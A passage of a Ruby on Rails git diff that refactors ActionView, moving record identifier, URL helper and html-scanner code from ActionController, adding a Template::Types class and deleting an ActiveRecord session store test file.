- # <%= url_for(:action => 'login', :controller => 'members', :only_path => false, :protocol => 'https') %>
- # # => https://www.example.com/members/login/
- #
- # <%= url_for(:action => 'play', :anchor => 'player') %>
- # # => /messages/play/#player
- #
- # <%= url_for(:action => 'jump', :anchor => 'tax&ship') %>
- # # => /testing/jump/#tax&ship
- #
- # <%= url_for(Workshop.new) %>
- # # relies on Workshop answering a persisted? call (and in this case returning false)
- # # => /workshops
- #
- # <%= url_for(@workshop) %>
- # # calls @workshop.to_param which by default returns the id
- # # => /workshops/5
- #
- # # to_param can be re-defined in a model to provide different URL names:
- # # => /workshops/1-workshop-name
- #
- # <%= url_for("http://www.example.com") %>
- # # => http://www.example.com
- #
- # <%= url_for(:back) %>
- # # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
- # # => http://www.example.com
- #
- # <%= url_for(:back) %>
- # # if request.env["HTTP_REFERER"] is not set or is blank
- # # => javascript:history.back()
- #
- # <%= url_for(:action => 'index', :controller => 'users') %>
- # # Assuming an "admin" namespace
- # # => /admin/users
- #
- # <%= url_for(:action => 'index', :controller => '/users') %>
- # # Specify absolute path with beginning slash
- # # => /users
- def url_for(options = nil)
+ # Basic implementation of url_for to allow use helpers without routes existence
+ def url_for(options = nil) # :nodoc:
case options
when String
options
- when nil, Hash
- options ||= {}
- options = { :only_path => options[:host].nil? }.merge!(options.symbolize_keys)
- super
when :back
- controller.request.env["HTTP_REFERER"] || 'javascript:history.back()'
+ _back_url
else
- polymorphic_path(options)
+ raise ArgumentError, "arguments passed to url_for can't be handled. Please require " +
+ "routes or provide your own implementation"
end
end
+ def _back_url # :nodoc:
+ referrer = controller.respond_to?(:request) && controller.request.env["HTTP_REFERER"]
+ referrer || 'javascript:history.back()'
+ end
+ protected :_back_url
+
+
# Creates a link tag of the given +name+ using a URL created by the set of +options+.
# See the valid options in the documentation for +url_for+. It's also possible to
# pass a String instead of an options hash, which generates a link tag that uses the
diff --git a/actionpack/lib/action_view/lookup_context.rb b/actionpack/lib/action_view/lookup_context.rb
index f0ea92b018..76f4dea7b8 100644
--- a/actionpack/lib/action_view/lookup_context.rb
+++ b/actionpack/lib/action_view/lookup_context.rb
@@ -43,7 +43,7 @@ module ActionView
end
register_detail(:locale) { [I18n.locale, I18n.default_locale].uniq }
- register_detail(:formats) { Mime::SET.symbols }
+ register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css, :xml, :json] }
register_detail(:handlers){ Template::Handlers.extensions }
class DetailsKey #:nodoc:
@@ -149,7 +149,7 @@ module ActionView
# as well as incorrectly putting part of the path in the template
# name instead of the prefix.
def normalize_name(name, prefixes) #:nodoc:
- prefixes = nil if prefixes.blank?
+ prefixes = prefixes.presence
parts = name.to_s.split('/')
parts.shift if parts.first.empty?
name = parts.pop
diff --git a/actionpack/lib/action_view/model_naming.rb b/actionpack/lib/action_view/model_naming.rb
new file mode 100644
index 0000000000..e09ebd60df
--- /dev/null
+++ b/actionpack/lib/action_view/model_naming.rb
@@ -0,0 +1,12 @@
+module ActionView
+ module ModelNaming
+ # Converts the given object to an ActiveModel compliant one.
+ def convert_to_model(object)
+ object.respond_to?(:to_model) ? object.to_model : object
+ end
+
+ def model_name_from_record_or_class(record_or_class)
+ (record_or_class.is_a?(Class) ? record_or_class : convert_to_model(record_or_class).class).model_name
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/railtie.rb b/actionpack/lib/action_view/railtie.rb
index 9f5e3be454..2d36deaa78 100644
--- a/actionpack/lib/action_view/railtie.rb
+++ b/actionpack/lib/action_view/railtie.rb
@@ -9,6 +9,8 @@ module ActionView
config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
config.action_view.embed_authenticity_token_in_remote_forms = false
+ config.eager_load_namespaces << ActionView
+
initializer "action_view.embed_authenticity_token_in_remote_forms" do |app|
ActiveSupport.on_load(:action_view) do
ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
diff --git a/actionpack/lib/action_view/record_identifier.rb b/actionpack/lib/action_view/record_identifier.rb
new file mode 100644
index 0000000000..2953654972
--- /dev/null
+++ b/actionpack/lib/action_view/record_identifier.rb
@@ -0,0 +1,84 @@
+require 'active_support/core_ext/module'
+require 'action_view/model_naming'
+
+module ActionView
+ # The record identifier encapsulates a number of naming conventions for dealing with records, like Active Records or
+ # pretty much any other model type that has an id. These patterns are then used to try elevate the view actions to
+ # a higher logical level.
+ #
+ # # routes
+ # resources :posts
+ #
+ # # view
+ # <%= div_for(post) do %> <div id="post_45" class="post">
+ # <%= post.body %> What a wonderful world!
+ # <% end %> </div>
+ #
+ # # controller
+ # def update
+ # post = Post.find(params[:id])
+ # post.update_attributes(params[:post])
+ #
+ # redirect_to(post) # Calls polymorphic_url(post) which in turn calls post_url(post)
+ # end
+ #
+ # As the example above shows, you can stop caring to a large extent what the actual id of the post is.
+ # You just know that one is being assigned and that the subsequent calls in redirect_to expect that
+ # same naming convention and allows you to write less code if you follow it.
+ module RecordIdentifier
+ extend self
+ extend ModelNaming
+
+ include ModelNaming
+
+ JOIN = '_'.freeze
+ NEW = 'new'.freeze
+
+ # The DOM class convention is to use the singular form of an object or class.
+ #
+ # dom_class(post) # => "post"
+ # dom_class(Person) # => "person"
+ #
+ # If you need to address multiple instances of the same class in the same view, you can prefix the dom_class:
+ #
+ # dom_class(post, :edit) # => "edit_post"
+ # dom_class(Person, :edit) # => "edit_person"
+ def dom_class(record_or_class, prefix = nil)
+ singular = model_name_from_record_or_class(record_or_class).param_key
+ prefix ? "#{prefix}#{JOIN}#{singular}" : singular
+ end
+
+ # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
+ # If no id is found, prefix with "new_" instead.
+ #
+ # dom_id(Post.find(45)) # => "post_45"
+ # dom_id(Post.new) # => "new_post"
+ #
+ # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
+ #
+ # dom_id(Post.find(45), :edit) # => "edit_post_45"
+ # dom_id(Post.new, :custom) # => "custom_post"
+ def dom_id(record, prefix = nil)
+ if record_id = record_key_for_dom_id(record)
+ "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
+ else
+ dom_class(record, prefix || NEW)
+ end
+ end
+
+ protected
+
+ # Returns a string representation of the key attribute(s) that is suitable for use in an HTML DOM id.
+ # This can be overwritten to customize the default generated string representation if desired.
+ # If you need to read back a key from a dom_id in order to query for the underlying database record,
+ # you should write a helper like 'person_record_from_dom_id' that will extract the key either based
+ # on the default implementation (which just joins all key attributes with '_') or on your own
+ # overwritten version of the method. By default, this implementation passes the key string through a
+ # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to
+ # make sure yourself that your dom ids are valid, in case you overwrite this method.
+ def record_key_for_dom_id(record)
+ key = convert_to_model(record).to_key
+ key ? key.join('_') : key
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/renderer/streaming_template_renderer.rb b/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
index f46aabd2be..9cf6eb0c65 100644
--- a/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
+++ b/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
@@ -30,7 +30,7 @@ module ActionView
# This is the same logging logic as in ShowExceptions middleware.
# TODO Once "exceptron" is in, refactor this piece to simply re-use exceptron.
def log_error(exception) #:nodoc:
- logger = ActionController::Base.logger
+ logger = ActionView::Base.logger
return unless logger
message = "\n#{exception.class} (#{exception.message}):\n"
diff --git a/actionpack/lib/action_view/routing_url_for.rb b/actionpack/lib/action_view/routing_url_for.rb
new file mode 100644
index 0000000000..d1488e2332
--- /dev/null
+++ b/actionpack/lib/action_view/routing_url_for.rb
@@ -0,0 +1,107 @@
+module ActionView
+ module RoutingUrlFor
+
+ # Returns the URL for the set of +options+ provided. This takes the
+ # same options as +url_for+ in Action Controller (see the
+ # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
+ # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative "/controller/action"
+ # instead of the fully qualified URL like "http://example.com/controller/action".
+ #
+ # ==== Options
+ # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
+ # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
+ # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
+ # is currently not recommended since it breaks caching.
+ # * <tt>:host</tt> - Overrides the default (current) host if provided.
+ # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
+ # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
+ # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
+ #
+ # ==== Relying on named routes
+ #
+ # Passing a record (like an Active Record) instead of a hash as the options parameter will
+ # trigger the named route for that record. The lookup will happen on the name of the class. So passing a
+ # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as
+ # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route).
+ #
+ # ==== Implicit Controller Namespacing
+ #
+ # Controllers passed in using the +:controller+ option will retain their namespace unless it is an absolute one.
+ #
+ # ==== Examples
+ # <%= url_for(:action => 'index') %>
+ # # => /blog/
+ #
+ # <%= url_for(:action => 'find', :controller => 'books') %>
+ # # => /books/find
+ #
+ # <%= url_for(:action => 'login', :controller => 'members', :only_path => false, :protocol => 'https') %>
+ # # => https://www.example.com/members/login/
+ #
+ # <%= url_for(:action => 'play', :anchor => 'player') %>
+ # # => /messages/play/#player
+ #
+ # <%= url_for(:action => 'jump', :anchor => 'tax&ship') %>
+ # # => /testing/jump/#tax&ship
+ #
+ # <%= url_for(Workshop.new) %>
+ # # relies on Workshop answering a persisted? call (and in this case returning false)
+ # # => /workshops
+ #
+ # <%= url_for(@workshop) %>
+ # # calls @workshop.to_param which by default returns the id
+ # # => /workshops/5
+ #
+ # # to_param can be re-defined in a model to provide different URL names:
+ # # => /workshops/1-workshop-name
+ #
+ # <%= url_for("http://www.example.com") %>
+ # # => http://www.example.com
+ #
+ # <%= url_for(:back) %>
+ # # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
+ # # => http://www.example.com
+ #
+ # <%= url_for(:back) %>
+ # # if request.env["HTTP_REFERER"] is not set or is blank
+ # # => javascript:history.back()
+ #
+ # <%= url_for(:action => 'index', :controller => 'users') %>
+ # # Assuming an "admin" namespace
+ # # => /admin/users
+ #
+ # <%= url_for(:action => 'index', :controller => '/users') %>
+ # # Specify absolute path with beginning slash
+ # # => /users
+ def url_for(options = nil)
+ case options
+ when String
+ options
+ when nil, Hash
+ options ||= {}
+ options = { :only_path => options[:host].nil? }.merge!(options.symbolize_keys)
+ super
+ when :back
+ _back_url
+ else
+ polymorphic_path(options)
+ end
+ end
+
+ def url_options #:nodoc:
+ return super unless controller.respond_to?(:url_options)
+ controller.url_options
+ end
+
+ def _routes_context #:nodoc:
+ controller
+ end
+ protected :_routes_context
+
+ def optimize_routes_generation? #:nodoc:
+ controller.respond_to?(:optimize_routes_generation?, true) ?
+ controller.optimize_routes_generation? : super
+ end
+ protected :optimize_routes_generation?
+ end
+end
diff --git a/actionpack/lib/action_view/template.rb b/actionpack/lib/action_view/template.rb
index a04eac1d3f..379cdc8a25 100644
--- a/actionpack/lib/action_view/template.rb
+++ b/actionpack/lib/action_view/template.rb
@@ -1,5 +1,6 @@
require 'active_support/core_ext/object/try'
require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/deprecation'
require 'thread'
module ActionView
@@ -92,6 +93,7 @@ module ActionView
autoload :Error
autoload :Handlers
autoload :Text
+ autoload :Types
end
extend Template::Handlers
@@ -121,7 +123,7 @@ module ActionView
@locals = details[:locals] || []
@virtual_path = details[:virtual_path]
@updated_at = details[:updated_at] || Time.now
- @formats = Array(format).map { |f| f.is_a?(Mime::Type) ? f.ref : f }
+ @formats = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f }
@compile_mutex = Mutex.new
end
@@ -147,9 +149,14 @@ module ActionView
end
def mime_type
+ ActiveSupport::Deprecation.warn 'Template#mime_type is deprecated and will be removed in Rails 4.1. Please use type method instead.'
@mime_type ||= Mime::Type.lookup_by_extension(@formats.first.to_s) if @formats.first
end
+ def type
+ @type ||= Types[@formats.first] if @formats.first
+ end
+
# Receives a view object and return a template similar to self by using @virtual_path.
#
# This method is useful if you have a template object but it does not contain its source
diff --git a/actionpack/lib/action_view/template/error.rb b/actionpack/lib/action_view/template/error.rb
index f2bef4bded..e00056781d 100644
--- a/actionpack/lib/action_view/template/error.rb
+++ b/actionpack/lib/action_view/template/error.rb
@@ -8,6 +8,9 @@ module ActionView
class EncodingError < StandardError #:nodoc:
end
+ class MissingRequestError < StandardError #:nodoc:
+ end
+
class WrongEncodingError < EncodingError #:nodoc:
def initialize(string, encoding)
@string, @encoding = string, encoding
diff --git a/actionpack/lib/action_view/template/handlers.rb b/actionpack/lib/action_view/template/handlers.rb
index 41b14373a3..d9cddc0040 100644
--- a/actionpack/lib/action_view/template/handlers.rb
+++ b/actionpack/lib/action_view/template/handlers.rb
@@ -10,6 +10,7 @@ module ActionView #:nodoc:
base.register_default_template_handler :erb, ERB.new
base.register_template_handler :builder, Builder.new
base.register_template_handler :raw, Raw.new
+ base.register_template_handler :ruby, :source.to_proc
end
@@template_handlers = {}
@@ -20,11 +21,14 @@ module ActionView #:nodoc:
end
# Register an object that knows how to handle template files with the given
- # extension. This can be used to implement new template types.
+ # extensions. This can be used to implement new template types.
# The handler must respond to `:call`, which will be passed the template
# and should return the rendered template as a String.
- def register_template_handler(extension, handler)
- @@template_handlers[extension.to_sym] = handler
+ def register_template_handler(*extensions, handler)
+ raise(ArgumentError, "Extension is required") if extensions.empty?
+ extensions.each do |extension|
+ @@template_handlers[extension.to_sym] = handler
+ end
@@template_extensions = nil
end
diff --git a/actionpack/lib/action_view/template/handlers/builder.rb b/actionpack/lib/action_view/template/handlers/builder.rb
index 34397c3bcf..d90b0c6378 100644
--- a/actionpack/lib/action_view/template/handlers/builder.rb
+++ b/actionpack/lib/action_view/template/handlers/builder.rb
@@ -3,7 +3,7 @@ module ActionView
class Builder
# Default format used by Builder.
class_attribute :default_format
- self.default_format = Mime::XML
+ self.default_format = :xml
def call(template)
require_engine
diff --git a/actionpack/lib/action_view/template/resolver.rb b/actionpack/lib/action_view/template/resolver.rb
index 2bb656fac9..25c6fd4aa8 100644
--- a/actionpack/lib/action_view/template/resolver.rb
+++ b/actionpack/lib/action_view/template/resolver.rb
@@ -235,7 +235,7 @@ module ActionView
extension = pieces.pop
ActiveSupport::Deprecation.warn "The file #{path} did not specify a template handler. The default is currently ERB, but will change to RAW in the future." unless extension
handler = Template.handler_for_extension(extension)
- format = pieces.last && Mime[pieces.last]
+ format = pieces.last && Template::Types[pieces.last]
[handler, format]
end
end
diff --git a/actionpack/lib/action_view/template/text.rb b/actionpack/lib/action_view/template/text.rb
index 3af76dfcdb..859c7bc3ce 100644
--- a/actionpack/lib/action_view/template/text.rb
+++ b/actionpack/lib/action_view/template/text.rb
@@ -2,12 +2,12 @@ module ActionView #:nodoc:
# = Action View Text Template
class Template
class Text #:nodoc:
- attr_accessor :mime_type
+ attr_accessor :type
- def initialize(string, mime_type = nil)
- @string = string.to_s
- @mime_type = Mime[mime_type] || mime_type if mime_type
- @mime_type ||= Mime::TEXT
+ def initialize(string, type = nil)
+ @string = string.to_s
+ @type = Types[type] || type if type
+ @type ||= Types[:text]
end
def identifier
@@ -27,7 +27,7 @@ module ActionView #:nodoc:
end
def formats
- [@mime_type.to_sym]
+ [@type.to_sym]
end
end
end
diff --git a/actionpack/lib/action_view/template/types.rb b/actionpack/lib/action_view/template/types.rb
new file mode 100644
index 0000000000..7611c9e708
--- /dev/null
+++ b/actionpack/lib/action_view/template/types.rb
@@ -0,0 +1,58 @@
+require 'set'
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/object/blank'
+
+module ActionView
+ class Template
+ class Types
+ class Type
+ cattr_accessor :types
+ self.types = Set.new
+
+ def self.register(*t)
+ types.merge(t.map { |type| type.to_s })
+ end
+
+ register :html, :text, :js, :css, :xml, :json
+
+ def self.[](type)
+ return type if type.is_a?(self)
+
+ if type.is_a?(Symbol) || types.member?(type.to_s)
+ new(type)
+ end
+ end
+
+ attr_reader :symbol
+
+ def initialize(symbol)
+ @symbol = symbol.to_sym
+ end
+
+ delegate :to_s, :to_sym, :to => :symbol
+ alias to_str to_s
+
+ def ref
+ to_sym || to_s
+ end
+
+ def ==(type)
+ return false if type.blank?
+ symbol.to_sym == type.to_sym
+ end
+ end
+
+ cattr_accessor :type_klass
+
+ def self.delegate_to(klass)
+ self.type_klass = klass
+ end
+
+ delegate_to Type
+
+ def self.[](type)
+ type_klass[type]
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/test_case.rb b/actionpack/lib/action_view/test_case.rb
index 55f79bf761..b7fd6ec7e1 100644
--- a/actionpack/lib/action_view/test_case.rb
+++ b/actionpack/lib/action_view/test_case.rb
@@ -30,6 +30,9 @@ module ActionView
end
end
+ # Use AV::TestCase for the base class for helpers and views
+ register_spec_type(/(Helper|View)( ?Test)?\z/i, self)
+
module Behavior
extend ActiveSupport::Concern
@@ -38,10 +41,13 @@ module ActionView
include ActionView::Context
include ActionDispatch::Routing::PolymorphicRoutes
- include ActionController::RecordIdentifier
include AbstractController::Helpers
include ActionView::Helpers
+ include ActionView::RecordIdentifier
+ include ActionView::RoutingUrlFor
+
+ include ActiveSupport::Testing::ConstantLookup
delegate :lookup_context, :to => :controller
attr_accessor :controller, :output_buffer, :rendered
@@ -57,10 +63,9 @@ module ActionView
end
def determine_default_helper_class(name)
- mod = name.sub(/Test$/, '').constantize
- mod.is_a?(Class) ? nil : mod
- rescue NameError
- nil
+ determine_constant_from_test_name(name) do |constant|
+ Module === constant && !(Class === constant)
+ end
end
def helper_method(*methods)
@@ -200,6 +205,7 @@ module ActionView
:@rendered,
:@request,
:@routes,
+ :@tagged_logger,
:@templates,
:@options,
:@test_passed,
diff --git a/actionpack/lib/action_view/vendor/html-scanner.rb b/actionpack/lib/action_view/vendor/html-scanner.rb
new file mode 100644
index 0000000000..879b31e60e
--- /dev/null
+++ b/actionpack/lib/action_view/vendor/html-scanner.rb
@@ -0,0 +1,20 @@
+$LOAD_PATH << "#{File.dirname(__FILE__)}/html-scanner"
+
+module HTML
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :CDATA, 'html/node'
+ autoload :Document, 'html/document'
+ autoload :FullSanitizer, 'html/sanitizer'
+ autoload :LinkSanitizer, 'html/sanitizer'
+ autoload :Node, 'html/node'
+ autoload :Sanitizer, 'html/sanitizer'
+ autoload :Selector, 'html/selector'
+ autoload :Tag, 'html/node'
+ autoload :Text, 'html/node'
+ autoload :Tokenizer, 'html/tokenizer'
+ autoload :Version, 'html/version'
+ autoload :WhiteListSanitizer, 'html/sanitizer'
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb b/actionpack/lib/action_view/vendor/html-scanner/html/document.rb
index 386820300a..386820300a 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/document.rb
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb b/actionpack/lib/action_view/vendor/html-scanner/html/node.rb
index 4e1f016431..4e1f016431 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/node.rb
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb b/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb
index 6b4ececda2..6b4ececda2 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb b/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb
index 1eadfc0390..1eadfc0390 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb b/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb
index 8ac8d34430..8ac8d34430 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/version.rb b/actionpack/lib/action_view/vendor/html-scanner/html/version.rb
index 6d645c3e14..6d645c3e14 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/version.rb
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/version.rb
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index e5054a9eb8..4f5b2895c9 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -358,6 +358,7 @@ end
class ThreadsController < ResourcesController; end
class MessagesController < ResourcesController; end
class CommentsController < ResourcesController; end
+class ReviewsController < ResourcesController; end
class AuthorsController < ResourcesController; end
class LogosController < ResourcesController; end
diff --git a/actionpack/test/activerecord/active_record_store_test.rb b/actionpack/test/activerecord/active_record_store_test.rb
deleted file mode 100644
index 275f25f597..0000000000
--- a/actionpack/test/activerecord/active_record_store_test.rb
+++ /dev/null
@@ -1,288 +0,0 @@
-require 'active_record_unit'
-
-class ActiveRecordStoreTest < ActionDispatch::IntegrationTest
- class TestController < ActionController::Base
- def no_session_access
- head :ok
- end
-
- def set_session_value
- raise "missing session!" unless session
- session[:foo] = params[:foo] || "bar"
- head :ok
- end
-
- def get_session_value
- render :text => "foo: #{session[:foo].inspect}"
- end
-
- def get_session_id
- render :text => "#{request.session_options[:id]}"
- end
-
- def call_reset_session
- session[:foo]
- reset_session
- reset_session if params[:twice]
- session[:foo] = "baz"
- head :ok
- end
-
- def renew
- env["rack.session.options"][:renew] = true
- session[:foo] = "baz"
- head :ok
- end
- end
-
- def setup
- ActiveRecord::SessionStore.session_class.create_table!
- end
-
- def teardown
- ActiveRecord::SessionStore.session_class.drop_table!
- end
-
- %w{ session sql_bypass }.each do |class_name|
- define_method("test_setting_and_getting_session_value_with_#{class_name}_store") do
- with_store class_name do
- with_test_route_set do
- get '/set_session_value'
- assert_response :success
- assert cookies['_session_id']
-
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: "bar"', response.body
-
- get '/set_session_value', :foo => "baz"
- assert_response :success
- assert cookies['_session_id']
-
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: "baz"', response.body
-
- get '/call_reset_session'
- assert_response :success
- assert_not_equal [], headers['Set-Cookie']
- end
- end
- end
-
- define_method("test_renewing_with_#{class_name}_store") do
- with_store class_name do
- with_test_route_set do
- get '/set_session_value'
- assert_response :success
- assert cookies['_session_id']
-
- get '/renew'
- assert_response :success
- assert_not_equal [], headers['Set-Cookie']
- end
- end
- end
- end
-
- def test_getting_nil_session_value
- with_test_route_set do
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: nil', response.body
- end
- end
-
- def test_calling_reset_session_twice_does_not_raise_errors
- with_test_route_set do
- get '/call_reset_session', :twice => "true"
- assert_response :success
-
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: "baz"', response.body
- end
- end
-
- def test_setting_session_value_after_session_reset
- with_test_route_set do
- get '/set_session_value'
- assert_response :success
- assert cookies['_session_id']
- session_id = cookies['_session_id']
-
- get '/call_reset_session'
- assert_response :success
- assert_not_equal [], headers['Set-Cookie']
-
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: "baz"', response.body
-
- get '/get_session_id'
- assert_response :success
- assert_not_equal session_id, response.body
- end
- end
-
- def test_getting_session_value_after_session_reset
- with_test_route_set do
- get '/set_session_value'
- assert_response :success
- assert cookies['_session_id']
- session_cookie = cookies.send(:hash_for)['_session_id']
-
- get '/call_reset_session'
- assert_response :success
- assert_not_equal [], headers['Set-Cookie']
-
- cookies << session_cookie # replace our new session_id with our old, pre-reset session_id
-
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from the database"
- end
- end
-
- def test_getting_from_nonexistent_session
- with_test_route_set do
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: nil', response.body
- assert_nil cookies['_session_id'], "should only create session on write, not read"
- end
- end
-
- def test_getting_session_id
- with_test_route_set do
- get '/set_session_value'
- assert_response :success
- assert cookies['_session_id']
- session_id = cookies['_session_id']
-
- get '/get_session_id'
- assert_response :success
- assert_equal session_id, response.body, "should be able to read session id without accessing the session hash"
- end
- end
-
- def test_doesnt_write_session_cookie_if_session_id_is_already_exists
- with_test_route_set do
- get '/set_session_value'
- assert_response :success
- assert cookies['_session_id']
-
- get '/get_session_value'
- assert_response :success
- assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists"
- end
- end
-
- def test_prevents_session_fixation
- with_test_route_set do
- get '/set_session_value'
- assert_response :success
- assert cookies['_session_id']
-
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: "bar"', response.body
- session_id = cookies['_session_id']
- assert session_id
-
- reset!
-
- get '/get_session_value', :_session_id => session_id
- assert_response :success
- assert_equal 'foo: nil', response.body
- assert_not_equal session_id, cookies['_session_id']
- end
- end
-
- def test_allows_session_fixation
- with_test_route_set(:cookie_only => false) do
- get '/set_session_value'
- assert_response :success
- assert cookies['_session_id']
-
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: "bar"', response.body
- session_id = cookies['_session_id']
- assert session_id
-
- reset!
-
- get '/set_session_value', :_session_id => session_id, :foo => "baz"
- assert_response :success
- assert_equal session_id, cookies['_session_id']
-
- get '/get_session_value', :_session_id => session_id
- assert_response :success
- assert_equal 'foo: "baz"', response.body
- assert_equal session_id, cookies['_session_id']
- end
- end
-
- def test_incoming_invalid_session_id_via_cookie_should_be_ignored
- with_test_route_set do
- open_session do |sess|
- sess.cookies['_session_id'] = 'INVALID'
-
- sess.get '/set_session_value'
- new_session_id = sess.cookies['_session_id']
- assert_not_equal 'INVALID', new_session_id
-
- sess.get '/get_session_value'
- new_session_id_2 = sess.cookies['_session_id']
- assert_equal new_session_id, new_session_id_2
- end
- end
- end
-
- def test_incoming_invalid_session_id_via_parameter_should_be_ignored
- with_test_route_set(:cookie_only => false) do
- open_session do |sess|
- sess.get '/set_session_value', :_session_id => 'INVALID'
- new_session_id = sess.cookies['_session_id']
- assert_not_equal 'INVALID', new_session_id
-
- sess.get '/get_session_value'
- new_session_id_2 = sess.cookies['_session_id']
- assert_equal new_session_id, new_session_id_2
- end
- end
- end
-
- def test_session_store_with_all_domains
- with_test_route_set(:domain => :all) do
- get '/set_session_value'
- assert_response :success
- end
- end
-
- private
-
- def with_test_route_set(options = {})
- with_routing do |set|
- set.draw do
- get ':action', :to => 'active_record_store_test/test'
- end
-
- @app = self.class.build_app(set) do |middleware|
- middleware.use ActiveRecord::SessionStore, options.reverse_merge(:key => '_session_id')
- middleware.delete "ActionDispatch::ShowExceptions"
- end
-
- yield
- end
- end
-
- def with_store(class_name)
- session_class, ActiveRecord::SessionStore.session_class =
- ActiveRecord::SessionStore.session_class, "ActiveRecord::SessionStore::#{class_name.camelize}".constantize
- yield
- ensure
- ActiveRecord::SessionStore.session_class = session_class
- end
-end
diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
index 9b0d4d0f4c..4ab5d92a2b 100644
--- a/actionpack/test/controller/action_pack_assertions_test.rb
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -1,5 +1,5 @@
require 'abstract_unit'
-require 'action_controller/vendor/html-scanner'
+require 'action_view/vendor/html-scanner'
require 'controller/fake_controllers'
class ActionPackAssertionsController < ActionController::Base
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
index 3d667f0a2f..38598a520c 100644
--- a/actionpack/test/controller/assert_select_test.rb
+++ b/actionpack/test/controller/assert_select_test.rb
@@ -10,6 +10,16 @@ require 'controller/fake_controllers'
require 'action_mailer'
ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
+class SynchronousQueue < Queue
+ def push(job)
+ job.run
+ end
+ alias << push
+ alias enq push
+end
+
+ActionMailer::Base.queue = SynchronousQueue.new
+
class AssertSelectTest < ActionController::TestCase
Assertion = ActiveSupport::TestCase::Assertion
diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb
index b9513ccff4..9b42e7631f 100644
--- a/actionpack/test/controller/base_test.rb
+++ b/actionpack/test/controller/base_test.rb
@@ -1,5 +1,6 @@
require 'abstract_unit'
require 'active_support/logger'
+require 'controller/fake_models'
require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
# Provide some controller to run the tests on.
@@ -63,6 +64,10 @@ end
class RecordIdentifierController < ActionController::Base
end
+class RecordIdentifierWithoutDeprecationController < ActionController::Base
+ include ActionView::RecordIdentifier
+end
+
class ControllerClassTests < ActiveSupport::TestCase
def test_controller_path
@@ -81,6 +86,42 @@ class ControllerClassTests < ActiveSupport::TestCase
assert_respond_to RecordIdentifierController.new, :dom_id
assert_respond_to RecordIdentifierController.new, :dom_class
end
+
+ def test_record_identifier_is_deprecated
+ record = Comment.new
+ record.save
+
+ dom_id = nil
+ assert_deprecated 'dom_id method will no longer' do
+ dom_id = RecordIdentifierController.new.dom_id(record)
+ end
+
+ assert_equal 'comment_1', dom_id
+
+ dom_class = nil
